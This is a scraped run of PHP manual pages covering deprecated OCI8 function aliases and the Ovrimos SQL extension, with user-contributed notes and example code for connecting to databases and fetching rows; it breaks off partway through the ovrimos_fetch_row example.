This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolltrim
ocicolumnname
OCI8 Obsolete Aliases and Functions


Alias of oci_field_name

ocicolumnisnull
ocicolumnprecision
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumnname

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnname — Alias of oci_field_name()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumnisnull
ocicolumnprecision
OCI8 Obsolete Aliases and Functions


Alias of oci_field_precision

ocicolumnname
ocicolumnscale
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumnprecision

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnprecision — Alias of oci_field_precision()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumnname
ocicolumnscale
OCI8 Obsolete Aliases and Functions


Alias of oci_field_scale

ocicolumnprecision
ocicolumnsize
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumnscale

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnscale — Alias of oci_field_scale()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumnprecision
ocicolumnsize
OCI8 Obsolete Aliases and Functions


Alias of oci_field_size

ocicolumnscale
ocicolumntype
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumnsize

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumnsize — Alias of oci_field_size()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumnscale
ocicolumntype
OCI8 Obsolete Aliases and Functions


Alias of oci_field_type

ocicolumnsize
ocicolumntyperaw
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumntype

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumntype — Alias of oci_field_type()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumnsize
ocicolumntyperaw
OCI8 Obsolete Aliases and Functions


Alias of oci_field_type_raw

ocicolumntype
ocicommit
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicolumntyperaw

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicolumntyperaw — Alias of oci_field_type_raw()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumntype
ocicommit
OCI8 Obsolete Aliases and Functions


Alias of oci_commit

ocicolumntyperaw
ocidefinebyname
OCI8 Obsolete Aliases and Functions
PHP Manual

ocicommit

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocicommit — Alias of oci_commit()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicolumntyperaw
ocidefinebyname
OCI8 Obsolete Aliases and Functions


Alias of oci_define_by_name

ocicommit
ocierror
OCI8 Obsolete Aliases and Functions
PHP Manual

ocidefinebyname

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocidefinebyname — Alias of oci_define_by_name()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocicommit
ocierror
OCI8 Obsolete Aliases and Functions


Alias of oci_error

ocidefinebyname
ociexecute
OCI8 Obsolete Aliases and Functions
PHP Manual

ocierror

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocierror — Alias of oci_error()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocidefinebyname
ociexecute
OCI8 Obsolete Aliases and Functions


Alias of oci_execute

ocierror
ocifetch
OCI8 Obsolete Aliases and Functions
PHP Manual

ociexecute

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociexecute — Alias of oci_execute()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocierror
ocifetch
OCI8 Obsolete Aliases and Functions


Alias of oci_fetch

ociexecute
ocifetchinto
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifetch

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifetch — Alias of oci_fetch()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociexecute
ocifetchinto
OCI8 Obsolete Aliases and Functions


Fetches the next row into an array (deprecated)

ocifetch
ocifetchstatement
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifetchinto

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifetchinto — Fetches the next row into an array (deprecated)

Description

int ocifetchinto ( resource $statement , array &$result [, int $mode = OCI_ASSOC + OCI_NUM ] )

This function is deprecated. Recommended alternatives:
oci_fetch_array(), oci_fetch_object(),
oci_fetch_assoc() and
oci_fetch_row().

Warning

This function has been DEPRECATED as of PHP 5.4.0. Relying on this function is highly discouraged.

User Contributed Notes

php at natalian dot org 24-Oct-2005 04:45
There might be a better way.

<?php

 $conn = OCILogon('user', 'secret', 'DB');

 $th = 0; // Table Header

       $query = 'select * from PAYMENT';

       $stid = OCIParse($conn, $query);
       OCIExecute($stid);

        echo "<table>\n\n";
        while (OCIFetchInto($stid, $row, OCI_ASSOC)) {
          if (!$th) {

            $keys = (array_keys($row));

            echo "\n<tr>\n";
            foreach ($keys as $k) {echo "<th>" . $k . "</th>\n";}
            echo "</tr>\n";

            $th = 1; // Table header done !
                    }

          echo "\n<tr>\n";
          foreach ($keys as $k) {echo "<td>" . $row[$k] . "</td>\n";}
          echo "</tr>\n";
          $count = $count + 1;
        }

        echo "</table>\n\n";

echo "<h3>" . $count . " records</h3>";

OCILogoff($conn);
?>
xerxes at dataforce dot com dot au 03-Oct-2002 09:37
Hi all....

Following an eariler message about having similar functionality to "mysql_fetch_object", here is a snip of code i frequently use to return an array of all rows from a query....each element of the array is an object, where the properties for the object are the columns selected from the query.

Note that this function reqs that you pass in a connection handler....

It can be modified to return just a single row, quite easily.

    function executeSQL($SQL, $oConn) {
        $cur = OCIParse($oConn, $SQL);

        if (OCIExecute($cur, OCI_DEFAULT)) {
            $iCounter = 0;
            $aGeneric = Array();
            $TempClass = new stdClass ();
            while(OCIFetchInto($cur, $res, OCI_RETURN_NULLS + OCI_ASSOC)) {
                foreach ($res as $sKey => $sVal) {
                    $TempClass->{$sKey} = $sVal;
                }
                $aGeneric[$iCounter] = $TempClass;

                $iCounter++;
            }
        }
        else {
            return (false);
        }
        return ($aGeneric);
    }

hth!

-Xerxes
kboyer at matchlogic dot com 14-Jul-2000 01:26
When using ocifetchinto, be careful with the resulting array.  If the array variable is previously populated before calling ocifetchinto, and the the ocifetchinto command returns no (0) rows, the array is not overwritten.  This can make you think that you actually got rows returned when you actually didn't.
ocifetch
ocifetchstatement
OCI8 Obsolete Aliases and Functions


Alias of oci_fetch_all

ocifetchinto
ocifreecollection
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifetchstatement

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifetchstatement — Alias of oci_fetch_all()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocifetchinto
ocifreecollection
OCI8 Obsolete Aliases and Functions


Alias of OCI-Collection::free

ocifetchstatement
ocifreecursor
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifreecollection

(PHP 4 >= 4.0.7, PHP 5, PECL OCI8 >= 1.0.0)

ocifreecollection — Alias of OCI-Collection::free()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocifetchstatement
ocifreecursor
OCI8 Obsolete Aliases and Functions


Alias of oci_free_statement

ocifreecollection
ocifreedesc
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifreecursor

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifreecursor — Alias of oci_free_statement()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocifreecollection
ocifreedesc
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::free

ocifreecursor
ocifreestatement
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifreedesc

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifreedesc — Alias of OCI-Lob::free()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocifreecursor
ocifreestatement
OCI8 Obsolete Aliases and Functions


Alias of oci_free_statement

ocifreedesc
ociinternaldebug
OCI8 Obsolete Aliases and Functions
PHP Manual

ocifreestatement

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocifreestatement — Alias of oci_free_statement()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocifreedesc
ociinternaldebug
OCI8 Obsolete Aliases and Functions


Alias of oci_internal_debug

ocifreestatement
ociloadlob
OCI8 Obsolete Aliases and Functions
PHP Manual

ociinternaldebug

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociinternaldebug — Alias of oci_internal_debug()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocifreestatement
ociloadlob
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::load

ociinternaldebug
ocilogoff
OCI8 Obsolete Aliases and Functions
PHP Manual

ociloadlob

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociloadlob — Alias of OCI-Lob::load()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociinternaldebug
ocilogoff
OCI8 Obsolete Aliases and Functions


Alias of oci_close

ociloadlob
ocilogon
OCI8 Obsolete Aliases and Functions
PHP Manual

ocilogoff

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocilogoff — Alias of oci_close()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociloadlob
ocilogon
OCI8 Obsolete Aliases and Functions


Alias of oci_connect

ocilogoff
ocinewcollection
OCI8 Obsolete Aliases and Functions
PHP Manual

ocilogon

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocilogon — Alias of oci_connect()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

Kaibo 18-Nov-2010 12:24
Only used in PHP versions before 5.0.0.
This old function name can still be used in current versions, but it is deprecated and not recommended.
ocilogoff
ocinewcollection
OCI8 Obsolete Aliases and Functions


Alias of oci_new_collection

ocilogon
ocinewcursor
OCI8 Obsolete Aliases and Functions
PHP Manual

ocinewcollection

(PHP 4 >= 4.0.6, PHP 5, PECL OCI8 >= 1.0.0)

ocinewcollection — Alias of oci_new_collection()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocilogon
ocinewcursor
OCI8 Obsolete Aliases and Functions


Alias of oci_new_cursor

ocinewcollection
ocinewdescriptor
OCI8 Obsolete Aliases and Functions
PHP Manual

ocinewcursor

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinewcursor — Alias of oci_new_cursor()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocinewcollection
ocinewdescriptor
OCI8 Obsolete Aliases and Functions


Alias of oci_new_descriptor

ocinewcursor
ocinlogon
OCI8 Obsolete Aliases and Functions
PHP Manual

ocinewdescriptor

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinewdescriptor — Alias of oci_new_descriptor()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocinewcursor
ocinlogon
OCI8 Obsolete Aliases and Functions


Alias of oci_new_connect

ocinewdescriptor
ocinumcols
OCI8 Obsolete Aliases and Functions
PHP Manual

ocinlogon

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinlogon — Alias of oci_new_connect()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocinewdescriptor
ocinumcols
OCI8 Obsolete Aliases and Functions


Alias of oci_num_fields

ocinlogon
ociparse
OCI8 Obsolete Aliases and Functions
PHP Manual

ocinumcols

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocinumcols — Alias of oci_num_fields()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocinlogon
ociparse
OCI8 Obsolete Aliases and Functions


Alias of oci_parse

ocinumcols
ociplogon
OCI8 Obsolete Aliases and Functions
PHP Manual

ociparse

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociparse — Alias of oci_parse()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocinumcols
ociplogon
OCI8 Obsolete Aliases and Functions


Alias of oci_pconnect

ociparse
ociresult
OCI8 Obsolete Aliases and Functions
PHP Manual

ociplogon

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociplogon — Alias of oci_pconnect()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociparse
ociresult
OCI8 Obsolete Aliases and Functions


Alias of oci_result

ociplogon
ocirollback
OCI8 Obsolete Aliases and Functions
PHP Manual

ociresult

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociresult — Alias of oci_result()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociplogon
ocirollback
OCI8 Obsolete Aliases and Functions


Alias of oci_rollback

ociresult
ocirowcount
OCI8 Obsolete Aliases and Functions
PHP Manual

ocirollback

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocirollback — Alias of oci_rollback()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociresult
ocirowcount
OCI8 Obsolete Aliases and Functions


Alias of oci_num_rows

ocirollback
ocisavelob
OCI8 Obsolete Aliases and Functions
PHP Manual

ocirowcount

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocirowcount — Alias of oci_num_rows()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

Ved Prakash 12-Jul-2010 12:28
To get number of rows from SELECT, use ocirowcount function instead of oci_num_rows().
Though this is an alias of oci_num_rows, the behavior for this is different as oci_num_rows will return you only rows affected by DML statements
ocirollback
ocisavelob
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::save

ocirowcount
ocisavelobfile
OCI8 Obsolete Aliases and Functions
PHP Manual

ocisavelob

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocisavelob — Alias of OCI-Lob::save()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocirowcount
ocisavelobfile
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::import

ocisavelob
ociserverversion
OCI8 Obsolete Aliases and Functions
PHP Manual

ocisavelobfile

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocisavelobfile — Alias of OCI-Lob::import()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocisavelob
ociserverversion
OCI8 Obsolete Aliases and Functions


Alias of oci_server_version

ocisavelobfile
ocisetprefetch
OCI8 Obsolete Aliases and Functions
PHP Manual

ociserverversion

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociserverversion — Alias of oci_server_version()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocisavelobfile
ocisetprefetch
OCI8 Obsolete Aliases and Functions


Alias of oci_set_prefetch

ociserverversion
ocistatementtype
OCI8 Obsolete Aliases and Functions
PHP Manual

ocisetprefetch

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocisetprefetch — Alias of oci_set_prefetch()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociserverversion
ocistatementtype
OCI8 Obsolete Aliases and Functions


Alias of oci_statement_type

ocisetprefetch
ociwritelobtofile
OCI8 Obsolete Aliases and Functions
PHP Manual

ocistatementtype

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ocistatementtype — Alias of oci_statement_type()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocisetprefetch
ociwritelobtofile
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::export

ocistatementtype
ociwritetemporarylob
OCI8 Obsolete Aliases and Functions
PHP Manual

ociwritelobtofile

(PHP 4, PHP 5, PECL OCI8 >= 1.0.0)

ociwritelobtofile — Alias of OCI-Lob::export()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ocistatementtype
ociwritetemporarylob
OCI8 Obsolete Aliases and Functions


Alias of OCI-Lob::writeTemporary

ociwritelobtofile
Ovrimos SQL
OCI8 Obsolete Aliases and Functions
PHP Manual

ociwritetemporarylob

(PHP 4 >= 4.0.6, PECL OCI8 1.0)

ociwritetemporarylob — Alias of OCI-Lob::writeTemporary()

Description

Warning

This alias has been DEPRECATED as of PHP 5.4.0. Relying on this alias is highly discouraged.

User Contributed Notes

There are no user contributed notes for this page.
ociwritelobtofile
Ovrimos SQL
OCI8 Obsolete Aliases and Functions


Ovrimos SQL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Ovrimos SQL Functions
    • ovrimos_close — Closes the connection to ovrimos
    • ovrimos_commit — Commits the transaction
    • ovrimos_connect — Connect to the specified database
    • ovrimos_cursor — Returns the name of the cursor
    • ovrimos_exec — Executes an SQL statement
    • ovrimos_execute — Executes a prepared SQL statement
    • ovrimos_fetch_into — Fetches a row from the result set
    • ovrimos_fetch_row — Fetches a row from the result set
    • ovrimos_field_len — Returns the length of the output column
    • ovrimos_field_name — Returns the output column name
    • ovrimos_field_num — Returns the (1-based) index of the output column
    • ovrimos_field_type — Returns the type of the output column
    • ovrimos_free_result — Frees the specified result_id
    • ovrimos_longreadlen — Specifies how many bytes are to be retrieved from long datatypes
    • ovrimos_num_fields — Returns the number of columns
    • ovrimos_num_rows — Returns the number of rows affected by update operations
    • ovrimos_prepare — Prepares an SQL statement
    • ovrimos_result_all — Prints the whole result set as an HTML table
    • ovrimos_result — Retrieves the output column
    • ovrimos_rollback — Rolls back the transaction

User Contributed Notes

There are no user contributed notes for this page.
ociwritetemporarylob
Introduction
Vendor Specific Database Extensions


Introduction

Ovrimos SQL Server, is a client/server, transactional RDBMS combined with Web capabilities and fast transactions.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 4.4.5 and PHP 5.1.0.

Note: This extension is not available on Windows platforms.

User Contributed Notes

There are no user contributed notes for this page.
Ovrimos SQL
Installing/Configuring
Ovrimos SQL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Ovrimos SQL


Requirements

You'll need to install the sqlcli library available in the Ovrimos SQL Server distribution.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To enable Ovrimos support in PHP just compile PHP with the --with-ovrimos[=DIR] parameter to your configure line. DIR is the Ovrimos' libsqlcli install directory.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Ovrimos SQL


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Ovrimos SQL


Basic usage

Example #1 Connect to Ovrimos SQL Server and select from a system table

<?php
$conn = ovrimos_connect("server.domain.com", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        ovrimos_result_all($res);
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
Ovrimos SQL Functions
Examples


Ovrimos SQL Functions

Table of Contents

  • ovrimos_close — Closes the connection to ovrimos
  • ovrimos_commit — Commits the transaction
  • ovrimos_connect — Connect to the specified database
  • ovrimos_cursor — Returns the name of the cursor
  • ovrimos_exec — Executes an SQL statement
  • ovrimos_execute — Executes a prepared SQL statement
  • ovrimos_fetch_into — Fetches a row from the result set
  • ovrimos_fetch_row — Fetches a row from the result set
  • ovrimos_field_len — Returns the length of the output column
  • ovrimos_field_name — Returns the output column name
  • ovrimos_field_num — Returns the (1-based) index of the output column
  • ovrimos_field_type — Returns the type of the output column
  • ovrimos_free_result — Frees the specified result_id
  • ovrimos_longreadlen — Specifies how many bytes are to be retrieved from long datatypes
  • ovrimos_num_fields — Returns the number of columns
  • ovrimos_num_rows — Returns the number of rows affected by update operations
  • ovrimos_prepare — Prepares an SQL statement
  • ovrimos_result_all — Prints the whole result set as an HTML table
  • ovrimos_result — Retrieves the output column
  • ovrimos_rollback — Rolls back the transaction

User Contributed Notes

There are no user contributed notes for this page.
Basic usage
ovrimos_close
Ovrimos SQL


Closes the connection to ovrimos

Ovrimos SQL Functions
ovrimos_commit
Ovrimos SQL Functions
PHP Manual

ovrimos_close

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_close — Closes the connection to ovrimos

Description

void ovrimos_close ( int $connection )

Closes the specified connection to Ovrimos. This has the effect of rolling back uncommitted transactions.

Parameters

connection

The Ovrimos connection identifier, returned by ovrimos_connect().

Return Values

No value is returned.

See Also

  • ovrimos_connect() - Connect to the specified database

User Contributed Notes

There are no user contributed notes for this page.
Ovrimos SQL Functions
ovrimos_commit
Ovrimos SQL Functions


Commits the transaction

ovrimos_close
ovrimos_connect
Ovrimos SQL Functions
PHP Manual

ovrimos_commit

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_commit — Commits the transaction

Description

bool ovrimos_commit ( int $connection_id )

Commits the transaction.

Parameters

connection_id

The Ovrimos connection identifier, returned by ovrimos_connect().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ovrimos_rollback() - Rolls back the transaction

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_close
ovrimos_connect
Ovrimos SQL Functions


Connect to the specified database

ovrimos_commit
ovrimos_cursor
Ovrimos SQL Functions
PHP Manual

ovrimos_connect

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_connect — Connect to the specified database

Description

int ovrimos_connect ( string $host , string $dborport , string $user , string $password )

Connects to the specified database.

Parameters

host

A host name or IP address.

dborport

Either a database name, or the port number to connect to.

user

The user name.

password

Password associated with user.

Return Values

Returns a connection identifier (greater than 0) on success, or 0 on failure.

Examples

Example #1 ovrimos_connect() Example

<?php
$conn = ovrimos_connect("server.example.com", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res = ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        ovrimos_result_all($res);
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>

See Also

  • ovrimos_close() - Closes the connection to ovrimos

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_commit
ovrimos_cursor
Ovrimos SQL Functions


Returns the name of the cursor

ovrimos_connect
ovrimos_exec
Ovrimos SQL Functions
PHP Manual

ovrimos_cursor

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_cursor — Returns the name of the cursor

Description

string ovrimos_cursor ( int $result_id )

Gets the name of the cursor. Useful when wishing to perform positioned updates or deletes.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

Return Values

Returns the name as a string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_connect
ovrimos_exec
Ovrimos SQL Functions


Executes an SQL statement

ovrimos_cursor
ovrimos_execute
Ovrimos SQL Functions
PHP Manual

ovrimos_exec

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_exec — Executes an SQL statement

Description

int ovrimos_exec ( int $connection_id , string $query )

Executes an SQL statement (query or update) and returns a result identifier.

Parameters

connection_id

The Ovrimos connection identifier, returned by ovrimos_connect().

query

The SQL statement. Evidently, it should not contain parameters. Use ovrimos_prepare() for prepared statements.

Return Values

Returns the result identifier as an integer, or FALSE on error.

See Also

  • ovrimos_execute() - Executes a prepared SQL statement
  • ovrimos_prepare() - Prepares an SQL statement

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_cursor
ovrimos_execute
Ovrimos SQL Functions


Executes a prepared SQL statement

ovrimos_exec
ovrimos_fetch_into
Ovrimos SQL Functions
PHP Manual

ovrimos_execute

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_execute — Executes a prepared SQL statement

Description

bool ovrimos_execute ( int $result_id [, array $parameters_array ] )

Executes a prepared statement.

Parameters

result_id

An Ovrimos result identifier prepared with ovrimos_prepare().

parameters_array

If the prepared statement contained parameters (question marks in the statement), the correct number of parameters should be passed in an array.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ovrimos_prepare() - Prepares an SQL statement

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_exec
ovrimos_fetch_into
Ovrimos SQL Functions


Fetches a row from the result set

ovrimos_execute
ovrimos_fetch_row
Ovrimos SQL Functions
PHP Manual

ovrimos_fetch_into

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_fetch_into — Fetches a row from the result set

Description

bool ovrimos_fetch_into ( int $result_id , array &$result_array [, string $how [, int $rownumber ]] )

Fetches a row from the given result set, into result_array.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

result_array

You must provide an array by reference. It will be filled with the fetched values.

how

Determines how the rows are fetched. This can be one of the following strings (case is not significant):

Option | Notes
Next | Forward direction from current position. This is the default value.
Prev | Backward direction from current position.
First | Forward direction from the start.
Last | Backward direction from the end.
Absolute | Absolute position from the start. Requires rownumber.

rownumber

The row number, first one is 0. Only needed when how is set to Absolute.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A fetch into example

<?php
$conn=ovrimos_connect("neptune", "8001", "admin", "password");
if ($conn!=0) {
    echo "Connection ok!";
    $res=ovrimos_exec($conn, "select table_id, table_name from sys.tables");
    if ($res != 0) {
        echo "Statement ok!";
        if (ovrimos_fetch_into($res, $row)) {
            list($table_id, $table_name) = $row;
            echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            if (ovrimos_fetch_into($res, $row)) {
                list($table_id, $table_name) = $row;
                echo "table_id=" . $table_id . ", table_name=" . $table_name . "\n";
            } else {
                echo "Next: error\n";
            }
        } else {
            echo "First: error\n";
        }
        ovrimos_free_result($res);
    }
    ovrimos_close($conn);
}
?>

See Also

  • ovrimos_fetch_row() - Fetches a row from the result set

User Contributed Notes

There are no user contributed notes for this page.
ovrimos_execute
ovrimos_fetch_row
Ovrimos SQL Functions


Fetches a row from the result set

ovrimos_fetch_into
ovrimos_field_len
Ovrimos SQL Functions
PHP Manual

ovrimos_fetch_row

(PHP 4 >= 4.0.3, PHP 5 <= 5.0.5)

ovrimos_fetch_row — Fetches a row from the result set

Description

bool ovrimos_fetch_row ( int $result_id [, int $how [, int $row_number ]] )

Fetches a row from the result set. Column values should be retrieved with other calls.

Parameters

result_id

A result identifier, returned by ovrimos_execute() or ovrimos_exec().

how

Determines how the rows are fetched. This can be one of the following strings (case is not significant):

Option | Notes
Next | Forward direction from current position. This is the default value.
Prev | Backward direction from current position.
First | Forward direction from the start.
Last | Backward direction from the end.
Absolute | Absolute position from the start. Requires rownumber.

rownumber

The row number, first one is 0. Only needed when how is set to Absolute.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A fetch row example

<?php
$conn = ovrimos_connect("remote.host", "8001", "admin", "password");
if ($conn != 0) {
    echo "Connection ok!";
    $res=ovrimos_exec($conn, "select table_id, table_name from sys.tables");
